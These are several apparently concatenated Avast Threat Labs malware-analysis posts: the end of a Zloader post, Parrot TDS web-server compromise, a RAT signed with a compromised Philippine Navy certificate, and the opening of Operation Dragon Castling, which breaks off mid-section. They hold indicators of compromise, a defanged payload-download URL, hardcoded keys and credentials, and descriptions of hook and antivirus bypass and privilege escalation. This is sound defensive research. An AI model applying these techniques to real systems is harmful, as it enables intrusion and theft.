Injected code is usually small: from dozens of bytes up to 20 kb. To perform its tasks, it loads JavaScript code from external domains, controlled by bad guys. Analysis of these domains allowed us to find connections between Zloader operators and other cybercrime gangs.

Download tasks

Zloader is able to download and execute arbitrary files by the commands from his C&Cs, but for a long time we haven’t seen these commands at all. Things changed on 24 November 2021, when botnet 9092ca received a command to download and execute the file from teamworks455[.]com. This domain was mentioned in [6].

Another two download tasks contained braves[.]fun and endoftheendi[.]com

Connections

During our tracking we have noticed links to other malware families we originally thought were unrelated.

Raccoon Stealer

Two out of three download tasks contained links to Raccoon Stealer. Downloaded samples have the following sha256 hashes:

• 5da3db74eee74412c1290393a0a0487c63b2c022e57aebcd632f0c3caf23d8bc
• 5b731854c58c2c1316633e570c9ec82474347e64b07ace48017d0be2b6331eed

Both of them have the same Raccoon configuration with Telegram channel kumchakl1.

Moreover, Raccoon was mentioned in [6] before we received commands from C&Cs with links to Raccoon. We are lost in conjecture why Zloader operators used Raccoon Stealer? You can read our dive into Racoon stealer here.

Ursnif

Ursnif, also known as Gozi and ISFB is another banking malware family with similar functions.

Digital Signatures

It was quite a big surprise when we found Zloader samples and Ursnif samples signed with the same digital signature!

As an example, consider a signature:
Issuer BABJNCXZHQCJUVWAJJ
Thumbprint 46C79BD6482E287647B1D6700176A5F6F5AC6D57.

Zloader sample signed with it has a SHA256 hash:
2a9ff0a0e962d28c488af9767770d48b9128b19ee43e8df392efb2f1c5a696f.

Signed Ursnif sample has a SHA256 hash:
54e6e6b23dec0432da2b36713a206169468f4f9d7691ccf449d7d946617eca45

It is not the only digital signature, shared among Ursnif and Zloader samples.

Infrastructure

As we mentioned before, the first observed download command contained a link to teamworks455[.]com. We checked the TLS certificate for this site and realized that it was for another site – dotxvcnjlvdajkwerwoh[.]com. We saw this hostname on 11 November 2021 in Ursnif webinjects, it was used to receive stolen data.

Another example – aerulonoured[.]su – host used by Zloader to receive stolen data at least from August 2021. It also appeared in Ursnif webinjects in November 2021.

Third example – qyfurihpsbhbuvitilgw[.]com which was found in Zeus configuration update, received from C&C on 20 October 2021. It must be added to a C&C list and then used by Zloader bots. The same domain was found in Ursnif webinjects on 1 November 2021

And, finally, 4th example – etjmejjcxjtwweitluuw[.]com This domain was generated using DGA from key 03d5ae30a0bd934a23b6a7f0756aa504 and date – 22 September 2021. We have very strong evidence that it was active on that date as a Zloader C&C. The same host was found in Ursnif WebInjects on 1 November 2021

Conclusion

We are proud we could be part of the investigation as we continue our mission to make the world a safer place for everybody. We hope for a successful takedown of the Zloader botnet and prosecution of people who created and operated it.

The post Zloader 2: The Silent Night appeared first on Avast Threat Labs.

Campaign overview

A new Traffic Direction System (TDS) we are calling Parrot TDS, using tens of thousands of compromised websites, has emerged in recent months and is reaching users from around the world. The TDS has infected various web servers hosting more than 16,500 websites, ranging from adult content sites, personal websites, university sites, and local government sites.

Parrot TDS acts as a gateway for further malicious campaigns to reach potential victims. In this particular case, the infected sites’ appearances are altered by a campaign called FakeUpdate (also known as SocGholish), which uses JavaScript to display fake notices for users to update their browser, offering an update file for download. The file observed being delivered to victims is a remote access tool.

The newly discovered TDS is, in some aspects, similar to the Prometheus TDS that appeared in the spring of 2021 [1]. However, what makes Parrot TDS unique is its robustness and its huge reach, giving it the potential to infect millions of users. We identified increased activity of the Parrot TDS in February 2022 by detecting suspicious JavaScript files on compromised web servers. We analysed its behaviour and identified several versions, as well as several types of campaigns using Parrot TDS. Based on the appearance of the first samples and the registration date of the Command and Control (C2) domains it uses, Parrot TDS has been active since October 2021.

One of the main things that distinguishes Parrot TDS from other TDS is how widespread it is and how many potential victims it has. The compromised websites we found appear to have nothing in common apart from servers hosting poorly secured CMS sites, like WordPress sites. From March 1, 2022 to March 29, 2022, we protected more than 600,000 unique users from around the globe from visiting these infected sites. In this time frame, we protected the most users in Brazil, more than 73,000 unique users, India, nearly 55,000 unique users, and more than 31,000 unique users from the US.

Compromised Websites

In February 2022, we identified a significant increase in the number of websites that contained malicious JavaScript code. This code was appended to the end of almost all JavaScript on the compromised web servers we discovered. Over time, we identified two versions (proxied and direct) of what we are calling Parrot TDS. 

In both cases, web servers with different content management systems (CMS) were compromised. Most often WordPress in various versions, including the latest one or Joomla, were affected. Since the compromised web servers have nothing in common, we assume the attackers took advantage of poorly secured servers, with weak login credentials, to gain admin access to the servers, but we do not have enough information to confirm this theory.

Proxied Version

The proxied version communicates with the TDS infrastructure via a malicious PHP script, usually located on the same web server, and executes the response content. A deobfuscated code snippet of the proxied version is shown below.

This code performs basic user filtering based on the User-Agent string, cookies and referrer. Briefly said, this code contacts the TDS only once for each user who visits the infected page. This type of filtering prevents multiple repeating requests and possible server overload.

The aforementioned PHP script serves two purposes. The first is to extract client information like the IP address, referrer and cookies, forward the request from the victim to the Parrot TDS C2 server and send the response in the other direction.

The second functionality allows an attacker to perform arbitrary code execution on the web server by sending a specifically crafted request, effectively creating a backdoor. The PHP script uses different names and is located in different locations, but usually, its name corresponds to the name of the folder it is in (hence the name of the TDS, since it parrots the names of folders).

In several cases, we also identified a traditional web shell on the infected web servers, which was located in various locations under different names but still following the same “parroting” pattern. This web shell likely allowed the attacker more comfortable access to the server, while the backdoor in the PHP script mentioned above was used as a backup option. An example of a web shell identified on one of the compromised web servers is shown below.

Since we have seen several cases of reinfection, it is highly likely that the server automatically restores possibly deleted files using, for example, a cron job. However, we do not have enough information to confirm this theory.

Direct Version

The direct version is almost identical to the previous one. This version utilises the same filtering technique. However, it sends the request directly to the TDS C2 server and, unlike the previous version, omits the malicious backdoor PHP script. It executes the content of the response the same way as the previous version. The whole communication sequence of both versions is depicted below. We experimentally verified that the TDS redirects from one IP address only once.

Identified Campaigns

The Parrot TDS response is JavaScript code that is executed on the client. In general, this code can be arbitrary and exposes clients to further danger. However, in practice, we have seen only two types of responses. The first, shown below, is simply setting the __utma cookie on the client. This happens when the client should not be redirected to the landing page. Due to the cookie-based user filtering mentioned above, this step effectively prevents repeated requests on Parrot TDS C2 servers in the future.

The next code snippet shows the second type, which is a campaign redirection targeting Windows machines.

FakeUpdate Campaign

The most prevalent “customer” of Parrot TDS we saw in the wild was the FakeUpdate campaign. The previous version of this campaign was described by MalwareBytes Lab in 2018 [2]. Although the version we identified slightly differs from the 2018 version, the core remains the same. The user receives JavaScript that changes the appearance of the page and tries to force the user to download malicious code. An example of what such a page looks like is shown below.

This JavaScript also contains a Base64 encoded ZIP file with one malicious JavaScript file inside. Once the user downloads the ZIP file and executes the JavaScript it contains, the code starts fingerprinting the client in several stages and then delivers the final payload.

User Filtering

The entire infection chain is set up so that it is complicated to replicate and, therefore, to investigate it. Parrot TDS provides the first layer of defence, which filters users based on IP address, User-Agent and referrer. 

The FakeUpdate campaign provides the second layer of defence, using several mechanisms. The first is using unique URLs that deliver malicious content to only one specific user.

The last defence mechanism is scanning the user’s PC. This scan is performed by several JavaScript codes sent by the FakeUpdate C2 server to the user. This scan harvests the following information.

• Name of the PC
• User name
• Domain name
• Manufacturer
• Model
• BIOS version
• Antivirus and antispyware products
• MAC address
• List of processes
• OS version

An overview of the process is shown in the picture below. The first part represents the Parrot TDS filtering based on the IP address, referrer and cookies, and after the user successfully passes these tests, the FakeUpdate page appears. The second part represents the FakeUpdate filtering based on a scan of the victim’s device.

Final Payload

The final payload is then delivered in two phases. In the first phase, a PowerShell script is dropped and run by the malicious JavaScript code. This PowerShell script is downloaded to a temporary folder under a random eight character name (e.g. %Temp%\1c017f89.ps1). However, the name of this PowerShell is hardcoded in the JavaScript code. The content of this script is usually a simple whoami /all command. The result is sent back to the C2 server.

In the second phase, the final payload is delivered. This payload is downloaded to the AppData\Roaming folder. Here, a folder with a random name containing several files is dropped. The payloads we have observed so far are part of the NetSupport Client remote access tool and allow the attacker to gain easy access to the compromised machines [3]. 

The RAT is commonly named ctfmon.exe (mimicking the name of a legitimate program). It is also automatically started when the computer is switched on by setting an HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key.

The installed NetSupport Manager tool is configured so that the user has very little chance of noticing it and, at the same time, gives the attacker maximum opportunities. The tool basically gives the attacker full access to the victim’s machine. To run unnoticed, chat functions are disabled, and the silent option is set on the tool, for example. A gateway is also set up that allows the attacker to connect to the client from anywhere in the world. So far, we’ve seen Chinese domains in the tool’s configuration files used as gateways. The following picture below shows the client settings.

Phishing

We identified several infected servers hosting phishing sites. These phishing sites, imitating, for example, a Microsoft office login page, were hosted on compromised servers in the form of PHP scripts. The figure below shows the aforementioned Microsoft phishing observed on an otherwise legitimate site. We don’t have enough information to assign this to Parrot TDS directly. However, a significant number of the compromised servers contained phishing as well.

Conclusion and Recommendation

We have identified an extensive infrastructure of compromised web servers that served as TDS and put a large number of users at risk. Given that the attacker had almost unlimited access to tens of thousands of web servers, the above list of campaigns is undoubtedly not exhaustive. 

The Avast Threat Labs has several recommendations for developers to avoid their servers from being compromised.

• Scan all files on the web server with Avast Antivirus.
• Replace all JavaScript and PHP files on the web server with original ones.
• Use the latest CMS version.
• Use the latest versions of installed plugins.
• Check for automatically running tasks on the web server (for example, cron jobs).
• Check and set up secure credentials. Make sure to always use unique credentials for every service.
• Check the administrator accounts on the server. Make sure each of them belongs to you and have strong passwords.
• When applicable, set up 2FA for all the web server admin accounts.
• Use some of the available security plugins (WordPress, Joomla).

Indicators of Compromise (IoC)

• Repository: https://github.com/avast/ioc/tree/master/ParrotTDS

Parrot TDS

SHA256	Description
e22e88c8ec0f439eebbb6387eeea0d332f57c137ae85cf1d8d1bb4c7ea8bd2f2	Proxied version JavaScript
daabdec3d5a43bb1c0340451be466d9f90eaa0cfac92fb6beaabc59452c473c3	Direct version JavaScript
b63260c1f213c02fcbb5c1a069ab2f1d17031e598fd19673bb639aa7557a9bae	web shell
On demand*	PHP Backdoor

* In attempts to prevent further attacks onto the infected servers, we are providing this hash on demand. Please DM us on Twitter or reach us out at [email protected].

C&C Servers

clickstat360[.]com

statclick[.]net

staticvisit[.]net

webcachespace[.]net

syncadv[.]com

webcachestorage[.]com

FakeUpdate

SHA256	Description
0046fad95da901f398f800ece8af479573a08ebf8db9529851172ead01648faa	FakeUpdate JavaScript
15afd9eb66450b440d154e98ed82971f1b968323ff11b839b046ae4bec60f855	FakeUpdate appearance JavaScript

C&C Servers
parmsplace[.]com	ahrealestatepr[.]com	expresswayautopr[.]com
xomosagency[.]com	codigodebarra[.]co	craigconnors[.]com
lawrencetravelco[.]com	maxxcorp[.]net	2ctmedia[.]com
accountablitypartner[.]com	walmyrivera[.]com	youbyashboutique[.]com
weightlossihp[.]com	codingbit[.]co[.]in	fishslayerjigco[.]com
avanzatechnicalsolutions[.]com	srkpc[.]com	wholesalerandy[.]com
mattingsolutions[.]co	integrativehealthpartners[.]com	wwpcrisis[.]com
lilscrambler[.]com	markbrey[.]com	nuwealthmedia[.]com
pocketstay[.]com	fioressence[.]com	drpease[.]com
refinedwebs[.]com	spillpalletonline[.]com	altcoinfan[.]com
windsorbongvape[.]com	hill-family[.]us	109.234.35[.]249
141.136.35[.]157	91.219.236[.]192*	91.219.236[.]202*

* Delivering the final payload

NetSupport RAT

SHA256	Filename
b6b51f4273420c24ea7dc13ef4cc7615262ccbdf6f5e5a49dae604ec153055ad	%AppData%/Roaming/xxx/ctfmon.exe**
8ad9c598c1fde52dd2bfced5f953ca0d013b0c65feb5ded73585cfc420c95a95	%AppData%/Roaming/xxx/remcmdstub.exe**
4fffa055d56e48fa0c469a54e2ebd857f23eca73a9928805b6a29a9483dffc21	%AppData%/Roaming/xxx/client32.ini**

**xxx stands for the random string name

C&C

194.180.158[.]173

87.120.8[.]141

15.76.172[.]110

45.76.172[.]113

5.180.136[.]119

94.158.247[.]84

94.158.245[.]113

94.158.247[.]100

154.38.242[.]14

199.247.3[.]55

Resources

[1] Viktor Okorokov and Nikita Rostovcev. Prometheus TDS, Group IB, 5 Aug. 2021, https://blog.group-ib.com/prometheus-tds. 
[2] Jérôme Segura. FakeUpdates Campaign Leverages Multiple Website Platforms, MalwareBytes Labs, 10 Apr. 2018, https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/.
[3] NetSupport Software. https://www.netsupportsoftware.com/.

The post Parrot TDS takes over web servers and threatens millions appeared first on Avast Threat Labs.

Avast Threat Intelligence Team has found a remote access tool (RAT) actively being used in the wild in the Philippines that uses what appears to be a compromised digital certificate belonging to the Philippine Navy. This certificate is now expired but we see evidence it was in use with this malware in June 2020.  

Based on our research, we believe with a high level of confidence that the threat actor had access to the private key belonging to the certificate.

We got in touch with CERT-PH, the National Computer Emergency Response Team for the Philippines to help us contact the navy. We have shared with them our findings. The navy security team later let us know that the incident has been resolved and no further assistance was necessary from our side.

Because this is being used in active attacks now, we are releasing our findings immediately so organizations can take steps to better protect themselves. We have found that this sample is now available on VirusTotal.

Compromised Expired Philippine Navy Digital Certificate

In our analysis we found the sample connects to dost[.]igov-service[.]net:8443 using TLS in a statically linked OpenSSL library.

A WHOIS lookup on the C&C domain gave us the following:

The digital certificate was pinned so that the malware requires the certificate to communicate.

When we checked the digital certificate used for the TLS channel we found the following information:

Some important things to note:

• The certificate is a valid certificate with a subject of *.navy.mil.ph, the Philippine Navy.
• The certificate has recently expired: it was valid for one year, from Sunday December 15, 2019 until Tuesday December 15, 2020.
• Our research shows that Censys saw this certificate employed by the actual navy.mil.ph website

Based on our research, we believe with a high level of confidence that the threat actor had access to the private key belonging to the certificate.

While the digital certificate is now expired we see evidence it was in use with this malware in June 2020. 

The malicious PE file was found with filename: C:\Windows\System32\wlbsctrl.dll and its hash is: 85FA43C3F84B31FBE34BF078AF5A614612D32282D7B14523610A13944AADAACB.

In analyzing that malicious PE file itself, we found that the compilation timestamp is wrong or was edited. Specifically, the TimeDateStamp of the PE file was modified and set to the year 2004 in both the PE header and Debug Directory as shown below:

However, we found that the author used OpenSSL 1.1.1g and compiled it on April 21, 2020 as shown below:

The username of the author was probably udste. This can be seen in the debug information left inside the used OpenSSL library.

We found that the malware supported the following commands:

• run shellcode
• read file
• write file
• cancel data transfer
• list drives
• rename a file
• delete a file
• list directory content

Some additional items of note regarding the malicious PE file:

• All configuration strings in the malware are encrypted using AES-CBC with the exception of the mutex it uses.That mutex is used as-is without decryption: t7As7y9I6EGwJOQkJz1oRvPUFx1CJTsjzgDlm0CxIa4=.
• When this string is decrypted using the hard-coded key it decrypts to QSR_MUTEX_zGKwWAejTD9sDitYcK. We suspect that this is a failed attempt to disguise this malware as the infamous Quasar RAT malware. But this cannot be the case because this sample is written in C++ and the Quasar RAT is written in C#.

Avast customers are protected against this malware.

Indicators of Compromise (IoC)

• Repository: https://github.com/avast/ioc/tree/master/Philippine-Navy-Certificate

SHA256	File name
85FA43C3F84B31FBE34BF078AF5A614612D32282D7B14523610A13944AADAACB	C:\Windows\System32\wlbsctrl.dll

Mutex

t7As7y9I6EGwJOQkJz1oRvPUFx1CJTsjzgDlm0CxIa4=

C&C server

dost[.]igov-service[.]net:8443

The post Avast Finds Compromised Philippine Navy Certificate Used in Remote Access Tool appeared first on Avast Threat Labs.

Introduction

We recently discovered an APT campaign we are calling Operation Dragon Castling. The campaign is targeting what appears to be betting companies in South East Asia, more specifically companies located in Taiwan, the Philippines, and Hong Kong. With moderate confidence, we can attribute the campaign to a Chinese speaking APT group, but unfortunately cannot attribute the attack to a specific group and are not sure what the attackers are after.

We found notable code similarity between one of the modules used by this APT group (the MulCom backdoor) and the FFRat samples described by the BlackBerry Cylance Threat Research Team in their 2017 report and Palo Alto Networks in their 2015 report. Based on this, we suspect that the FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not sufficient for attribution as FFRat itself was never reliably attributed.

In this blogpost we will describe the malware used in these attacks and the backdoor planted by the APT group, as well as other malicious files used to gain persistence and access to the infected machines. We will also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and exploitation of a vulnerable legitimate application, WPS Office.

We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we suspect that the attackers abused.

We would like to thank Taiwan’s TeamT5 for providing us with IoCs related to the infection vector.

Infrastructure and toolset

In the diagram above, we describe the relations between the malicious files. Some of the relations might not be accurate, e.g. we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin. However, we strongly believe that it is one of the malicious files used in this campaign. 

Infection Vector

We’ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an infected installer to the support team of one of the targeted companies asking to check for a bug in their software. In this post, we are going to describe another vector we’ve seen: a fake WPS Office update package. We suspect an attacker exploited a bug in the WPS updater wpsupdate.exe, which is a part of the WPS Office installation package. We have contacted WPS Office team about the vulnerability (CVE-2022-24934), which we discovered, and it has since been fixed.

During our investigation we saw suspicious behavior in the WPS updater process. When analyzing the binary we discovered a potential security issue that allows an attacker to use the updater to communicate with a server controlled by the attacker to perform actions on the victim’s system, including downloading and running arbitrary executables. To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs to be modified, and by doing this an attacker gains persistence on the system and control over the update process. In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.]cn, which is a domain belonging to Kingsoft, but the serving IP (103.140.187.16) has no relationship to the company, so we assume that it is a fake update server used by the attackers. 
The downloaded binary (setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe - B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954) drops two files for sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology (a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341) and a malicious DLL QMSpeedupRocketTrayStub64.dll.

Dropper 1 (QMSpeedupRocketTrayStub64.dll)

76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491

The first stage is a backdoor communicating with a C&C (mirrors.centos.8788912[.]com). Before contacting the C&C server, the backdoor performs several preparational operations. It hooks three functions: GetProcAddress, FreeLibrary, LdrUnloadDll. To get the C&C domain, it maps itself to the memory and reads data starting at the offset 1064 from the end. The domain name is not encrypted in any way and is stored as a wide string in clear text in the binary. 

Then it initializes an object for a JScript class with the named item ScriptHelper.  The dropper uses the ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe so it effectively runs under the same user. Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to HKEY_CURRENT_USER  of an impersonated user. For communication with C&C it constructs a UserAgent string with some system information e.g. Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows version, the value of the “User Agent\Post Platform” registry values.

After that, the sample constructs JScript code to execute. The header of the code contains definitions of two variables: server with the C&C domain name and a hardcoded key. Then it sends the HTTP GET request to /api/connect, the response should be encrypted JScript code that is decrypted, appended to the constructed header and executed using the JScript class created previously.

At the time of analysis, the C&C was not responding, but from the telemetry data we can conclude that it was downloading the next stage from hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe to %ProgramData%\icbc_logtmp.exe and executing it.

Dropper 2 (IcbcLog)

a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3

The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session Moniker Privilege Escalation (MS17-012), then dropping a few binaries, which are stored with the following resource IDs:

Resource ID	Filename	Description
1825	smcache.dat	List of C&C domains
1832	log.dll	Loader (CoreX) 64bit
1840	bdservicehost.exe	Signed PE for sideloading 64bit
1841	N/A	Filenames for sideloading
1817	inst.dat	Working path
1816	hostcfg.dat	Used in the Host header, in C&C communication
1833	bdservicehost.exe	Signed PE for sideloading 32bit – N/A
1831	log.dll	Loader  (32bit) – N/A

The encrypted payloads have the following structure:

The encryption key is a wide string starting from offset 0x8. The encrypted data starts at the offset 0x528. To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a hard-coded IV 0123456789abcde to decrypt the data using CryptDecrypt API with the AES256 algorithm. After that, the decrypted data is decompressed with RtlDecompressBuffer. To verify that the decryption went well, the CRC32 of the data is computed and compared to the value at the offset 0x4 of the original resource data. When all the payloads are dropped to the disk, bdservicehost.exe is executed to run the next stage.

Loader (CoreX)

97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42

The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2) and acts as a dropper. Similarly to Dropper 1, it hooks the GetProcAddress and FreeLibrary API functions. These hooks execute the main code of this library. The main code first checks whether it was loaded by regsvr32.exe and then it retrieves encrypted data from its resources. This data is dropped into the same folder as syscfg.dat. The file is then loaded and decrypted using AES-256 with the following options for setup:

• Key is the computer name and IV is qwertyui12345678
• AES-256 setup parameters are embedded in the resource in the format <key>#<IV>. So you may e.g. see cbfc2vyuzckloknf#8o3yfn0uee429m8d

The main code continues to check if the process ekrn.exe is running. ekrn.exe is an ESET Kernel service. If the ESET Kernel service is running, it will try to remap ntdll.dll. We assume that this is used to bypass ntdll.dll hooking. 

After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage. The DLL is stored, unencrypted, as part of the shellcode. The shellcode enumerates exports of ntdll.dll and builds an array with hashes of names of all Zw* functions (windows native API system calls) then sorts them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of Zw* functions equals the order of the corresponding syscalls, so an index of the Zw* function in this array is a syscall number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed.

Proto8 (Core module)

f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7

The core module is a single DLL that is responsible for setting up the malware’s working directory, loading configuration files, updating its code, loading plugins, beaconing to C&C servers and waiting for commands.

It has a cascading structure with four steps:

Step 1

The first part is dedicated to initial checks and a few evasion techniques. At first, the core module verifies that the DLL is being run by spdlogd.exe (an executable used for persistence, see below) or that it is not being run by rundll32.exe. If this check fails, the execution terminates. The DLL proceeds by hooking the GetProcAddress and FreeLibrary functions in order to execute the main function, similarly to the previous infection stages.

The malware then creates a new window (named Sample) with a custom callback function. A message with the ID 0x411 is sent to the window via SendMessageW which causes the aforementioned callback to execute the main function. The callback function can also process the 0x412 message ID, even though no specific functionality is tied to it.

Step 2

In the second step, the module tries to self-update, load configuration files and set up its working directory (WD).

Self-update

The malware first looks for a file called new_version.dat – if it exists, its content is loaded into memory, executed in a new thread and a debug string “run code ok” is printed out. We did not come across this file, but based on its name and context, this is most likely a self update functionality.

Load configuration file inst.dat and set up working directory. First, the core module configuration file inst.dat is searched for in the following three locations:

• the directory where the core module DLL is located
• the directory where the EXE that loaded the core module DLL it is located
• C:\ProgramData\

It contains the path to the malware’s working directory in plaintext. If it is not found, a hard-coded directory name is used and the directory is created. The working directory is a location the malware uses to drop or read any files it uses in subsequent execution phases.

Load configuration file smcache.dat.

After the working directory is set up, the sample will load the configuration file smcache.dat from it. This file contains the domains, protocols and port numbers used to communicate with C&C servers (details in Step 4) plus a “comment” string. This string is likely used to identify the campaign or individual victims. It is used to create an empty file on the victim’s computer (see below) and it’s also sent as a part of the initial beacon when communicating with C&C servers. We refer to it as the “comment string” because we have seen a few versions of smcache.dat where the content of the string was “the comment string here” and it is also present in another configuration file with the name comment.dat which has the INI file format and contains this string under the key COMMENT.

Create a log file

Right after the sample finds and reads smcache.dat, it creates a file based on the victim’s username and the comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value (for example M86_99.lck). Based on the extension it could be a log of some sort, but we haven’t seen any part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the malware creates a mutex and goes on to the next step.

Step 3

Next, the malware collects information about the infected environment (such as username, DNS and NetBios computer names as well as OS version and architecture) and sets up its internal structures, most notably a list of “call objects”. Call objects are structures each associated with a particular function and saved into a “dispatcher” structure in a map with hard-coded 4-byte keys. These keys are later used to call the functions based on commands from C&C servers. 

The key values (IDs) seem to be structured, where the first three bytes are always the same within a given sample, while the last byte is always the same for a given usage across all the core module samples that we’ve seen. For example, the function that calls the RevertToSelf function is identified by the number 0x20210326 in some versions of the core module that we’ve seen and 0x19181726 in others. This suggests that the first three bytes of the ID number are tied to the core module version, or more likely the infrastructure version, while the last byte is the actual ID of a function. 

ID (last byte)	Function description
0x02	unimplemented function
0x19	retrieves content of smcache.dat and sends it to the C&C server
0x1A	writes data to smcache.dat
0x25	impersonates the logged on user or the explorer.exe process
0x26	function that calls RevertToSelf
0x31	receives data and copies it into a newly allocated executable buffer
0x33	receives core plugin code, drops it on disk and then loads and calls it
0x56	writes a value into comment.dat

Webdav 

While initializing the call objects the core module also tries to connect to the URL hxxps://dav.jianguoyun.com/dav/ with the username 12121jhksdf and password 121121212 by calling WNetAddConnection3W. This address was not responsive at the time of analysis but jianguoyun[.]com is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin code or an updated version of the core module itself.

Plugins

The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the name kbg<tick_count>.dat in the malware working directory, loads it into memory and then calls its exported function InitCorePlug. The plugin file on disk is set to be deleted on reboot by calling MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT. For more information about the plugins, see the dedicated Plugins section.

Step 4

In the final step, the malware will iterate over C&C servers contained in the smcache.dat configuration file and will try to reach each one. The structure of the smcache.dat config file is as follows:

The protocol string can have one of nine possible values: 

• TCP
• HTTPS
• UDP
• DNS
• ICMP
• HTTPSIPV6
• WEB
• SSH
• HTTP

Depending on the protocol tied to the particular C&C domain, the malware sets up the connection, sends a beacon to the C&C and waits for commands.

In this blogpost, we will mainly focus on the HTTP protocol option as we’ve seen it being used by the attackers.

When using the HTTP protocol, the core module first opens two persistent request handles – one for POST and one for GET requests, both to “/connect”. These handles are tested by sending an empty buffer in the POST request and checking the HTTP status code of the GET request. Following this, the malware sends the initial beacon to the C&C server by calling the InternetWriteFile API with the previously opened POST request handle and reads data from the GET request handle by calling InternetReadFile.

The core module uses the following (mostly hard-coded) HTTP headers:

• Accept: */*
• x-cid: {<uuid>} – new uuid is generated for each GET/POST request pair
• Pragma: no-cache
• Cache-control: no-transform
• User-Agent: <user_agent> – generated from registry or hard-coded (see below)
• Host: <host_value> – C&C server domain or the value from hostcfg.dat (see below)
• Connection: Keep-Alive
• Content-Length: 4294967295 (max uint, only in the POST request)

User-Agent header

The User-Agent string is constructed from the registry the same way as in the Dropper 1 module (including the logged-on user impersonation when accessing registry) or a hard-coded string is used if the registry access fails: “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)”.

Host header

When setting up this header, the malware looks for either a resource with the ID 1816 or a file called hostcfg.dat if the resource is not found. If the resource or file is found, the content is used as the value in the Host HTTP header for all C&C communication instead of the C&C domain found in smcache.dat. It does not change the actual C&C domain to which the request is made – this suggests the possibility of the C&C server being behind a reverse proxy.

Initial beacon

The first data packet the malware sends to a C&C server contains a base64 encoded LZNT1-compressed buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim’s username, OS version and architecture, computer DNS and BIOS names and the comment string found in smcache.dat or comment.dat. The value from comment.dat takes precedence if this file exists. 

In the core module sample we analyzed, there was actually a typo in the function that reads the value from comment.dat – it looks for the key “COMMNET” instead of “COMMENT”.

After this, the malware enters a loop waiting for commands from the C&C server in the form of the ID value of one of the call objects.
Each message sent to the C&C server contains a hard-coded four byte number value with the same structure as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&C servers that we’ve seen are:

ID (last byte)	Usage
0x1B	message to C&C which contains smcache.dat content
0x24	message to C&C which contains a debug string
0x2F	general message to C&C
0x30	message to C&C, unknown specific purpose
0x32	message to C&C related to plugins
0x80	initial beacon to a C&C server

Interesting observations about the protocols, other than the HTTP protocol:

• HTTPS does not use persistent request handles
• HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial beacon
• HTTPS, TCP and UDP use a custom “magic” header: Magic-Code: hhjjdfgh

General observations on the core module

The core samples we observed often output debug strings via OutputDebugStringA and OutputDebugStringW or by sending them to the C&C server. Examples of debug strings used by the core module are: its filepath at the beginning of execution, “run code ok” after self-update, “In googo” in the hook of GetProcAddress, “recv bomb” and “sent bomb” in the main C&C communicating function, etc.

String obfuscation

We came across samples of the core module with only cleartext strings but also samples with certain strings obfuscated by XORing them with a unique (per sample) hard-coded key. 

Even within the samples that contain obfuscated strings, there are many cleartext strings present and there seems to be no logic in deciding which string will be obfuscated and which won’t. For example, most format strings are obfuscated, but important IoCs such as credentials or filenames are not. 

To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all the strings in the function that writes into the same config file are in cleartext and there is a direct call to WritePrivateProfileStringW. 

Overall, the core module code is quite robust and contains many failsafes and options for different scenarios (for example, the amount of possible protocols used for C&C communication), however, we probably only saw samples of this malware that are still in active development as there are many functions that are not yet implemented and only serve as placeholders.

Plugins

In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8) to extend its functionality. 

We are going to describe three plugins with various functionalities, such as:

• Achieving persistence
• Bypassing UAC
• Registering an RPC interface
• Creating a new account
• Backdoor capabilities

Core Plugin

0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755

This plugin is a DLL binary loaded by the fileless core module (Proto8) as mentioned above. It extends the malware’s functionality by adding methods for managing additional plugins. These additional plugins  export the function "GetPlugin" which the core plugin executes.

This part uses the same command ID based calling convention as the core module (see above), adding three new methods:

ID (last byte)	Function description
0x2B	send information about plugin location to the to C&C server
0x2C	remove a plugin
0x2A	load a plugin

All plugin binaries used by the core module are stored in the working directory under the name kbg<tick_count>.dat. After the Core Plugin is loaded, it first removes all plugins from the working directory – see the image below.

Zload(Atomx.dll,xps1.dll)

